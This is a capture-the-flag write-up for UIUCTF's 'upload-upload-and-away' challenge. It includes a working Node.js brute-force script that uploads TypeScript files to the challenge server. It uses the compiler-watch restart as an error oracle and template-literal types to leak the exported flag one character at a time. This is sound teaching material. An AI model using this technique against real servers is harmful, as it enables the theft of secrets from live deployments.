Keeping track of all these files makes me so dizzy I feel like I'm floating in space.
Instancer url: https://upload-upload-and-away.chal.uiuc.tf/
Flag format: uiuctf{[a-z_]+}
We're given a TypeScript server that looks like this:
import express from "express";
import path from "path";
import multer from "multer";
import fs from "fs";
const app = express();
const PORT = process.env.PORT || 3000;
let fileCount = 0;
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "../public/index.html")); // paths are relative to dist/
});
const imagesDir = path.join(__dirname, "../images");
if (!fs.existsSync(imagesDir)) {
fs.mkdirSync(imagesDir, { recursive: true });
}
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, imagesDir);
},
filename: function (req, file, cb) {
cb(null, path.basename(file.originalname));
},
});
const upload = multer({ storage });
app.get("/filecount", (req, res) => {
res.json({ file_count: fileCount });
});
app.post("/upload", upload.single("file"), (req, res) => {
if (!req.file) {
return res.status(400).send("No file uploaded.");
}
fileCount++;
res.send("File uploaded successfully.");
});
app.delete("/images", (req, res) => {
const imagesDir = path.join(__dirname, "../images");
fs.readdir(imagesDir, (err, files) => {
if (err) {
return res.status(500).send("Failed to read images directory.");
}
let deletePromises = files.map((file) =>
fs.promises.unlink(path.join(imagesDir, file))
);
Promise.allSettled(deletePromises)
.then(() => {
fileCount = 0;
res.send("All files deleted from images directory.");
})
.catch(() => res.status(500).send("Failed to delete some files."));
});
});
app.listen(PORT, () => {
return console.log(`Express is listening at http://localhost:${PORT}`);
});
export const flag = "uiuctf{fake_flag_xxxxxxxxxxxxxxxx}";The express app exposes a few routes that let us upload files to the ../images directory on the server, as well as query the "file count" tracking the number of files that have been uploaded.
Curiously, looking in the project package.json,
{
"name": "tschal",
"version": "1.0.0",
"scripts": {
"start": "concurrently \"tsc -w\" \"nodemon dist/index.js\""
},
"keywords": [
"i miss bun, if only there was an easier way to use typescript and nodejs :)"
],
"author": "",
"license": "ISC",
"description": "",
"devDependencies": {
"@types/express": "^5.0.3",
"@types/multer": "^2.0.0",
"concurrently": "^9.2.0",
"nodemon": "^3.1.10",
"typescript": "^5.8.3"
},
"dependencies": {
"express": "^5.1.0",
"multer": "^2.0.2"
}
}the server uses concurrently to run tsc -w and nodemon dist/index.js simultaneously. The key observation is this:
tsc -wruns the TypeScript compiler in watch mode, telling it to automatically recompile the project when source files have changed.nodemonwill restart the server when a.jsfile has changed.- Since the file count is just a local variable, when the server restarts it will be reset to 0.
The above combine to give us a TypeScript error oracle: uploading TypeScript files to the server will trigger tsc to recompile the project. If the compilation succeeds, new .js files will be generated that will trigger nodemon to restart the server and reset the file count; otherwise, the file count will be incremented as normal. Querying the file count, therefore, lets us check whether arbitrary TypeScript code compiles on the server.
Indeed, we can test with simple TS files that both fails to and succeed in compiling. Uploading a TypeScript file that fails to compile, we get
import { flag } from '../index';
export const x: number = flag;5:47:53 PM - File change detected. Starting incremental compilation...
[0]
[0] images/test.ts(3,14): error TS2322: Type 'string' is not assignable to type 'number'.
[0]
[0] 5:47:53 PM - Found 1 error. Watching for file changes.but using a file that successfully compiles, we instead get
import { flag } from '../index';
export const x: string = flag;5:44:58 PM - File change detected. Starting incremental compilation...
[0]
[0]
[0] 5:44:59 PM - Found 0 errors. Watching for file changes.
[1] [nodemon] restarting due to changes...
[1] [nodemon] starting `node dist/index.js`
[1] Express is listening at http://localhost:3000and our file count is reset to 0.
We can use this error oracle to leak the flag with a technique reminiscent of BuckeyeCTF 2023: since the flag is exported from index.ts as a const variable, we can use template literal types to assert against substrings of the flag.
Concretely, for those not familiar with this technique, if the flag exported by index.ts was
export const flag = 'uiuctf{test_flag}' // flag: "uiuctf{test_flag}"then the first assignment would successfully type check, while the second fails (since the first character of the flag string is not a):
const foo: `u${string}` = flag;const foo: `a${string}` = flag; // Type '"uiuctf{test_flag}"' is not assignable to type '`a${string}`'.Thus, we just need to use template literals to brute force the flag character by character, checking the file count each time to determine if the character was correct. Here's a simple script that does just that:
const BASE_URL = 'https://inst-ff5e88fd8f55fd4e-upload-upload-and-away.chal.uiuc.tf/';
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function getFileCount() {
const { file_count } = await (await fetch(`${BASE_URL}/filecount`)).json();
return file_count;
}
async function deleteImages() {
await fetch(`${BASE_URL}/images`, {
method: 'DELETE'
});
}
async function uploadCode(code) {
const data = new FormData();
data.append('file', new Blob([code], { type: 'text/plain' }), 'test.ts');
const res = await (await fetch(`${BASE_URL}/upload`, {
method: 'POST',
body: data
})).text()
// console.log(res);
}
const charset = 'abcdefghijklmnopqrstuvwxyz_}'
let flag = 'uiuctf{'
async function bruteOnce(char) {
await deleteImages();
await uploadCode(`import { flag } from '../index'; export const x: \`${flag}${char}\$\{string\}\` = flag;`);
// Sleep so that the server has time to restart if the type check passes
await sleep(1500);
const count = await getFileCount();
return count === 0;
}
;(async () => {
while (true) {
for (const char of charset) {
console.log(char);
const valid = await bruteOnce(char);
if (!valid) continue;
flag += char;
console.log('flag:', flag);
break;
}
if (flag.at(-1) === '}') break;
}
})();Running the script for a few minutes, we get the flag.
uiuctf{turing_complete_azolwkamgj}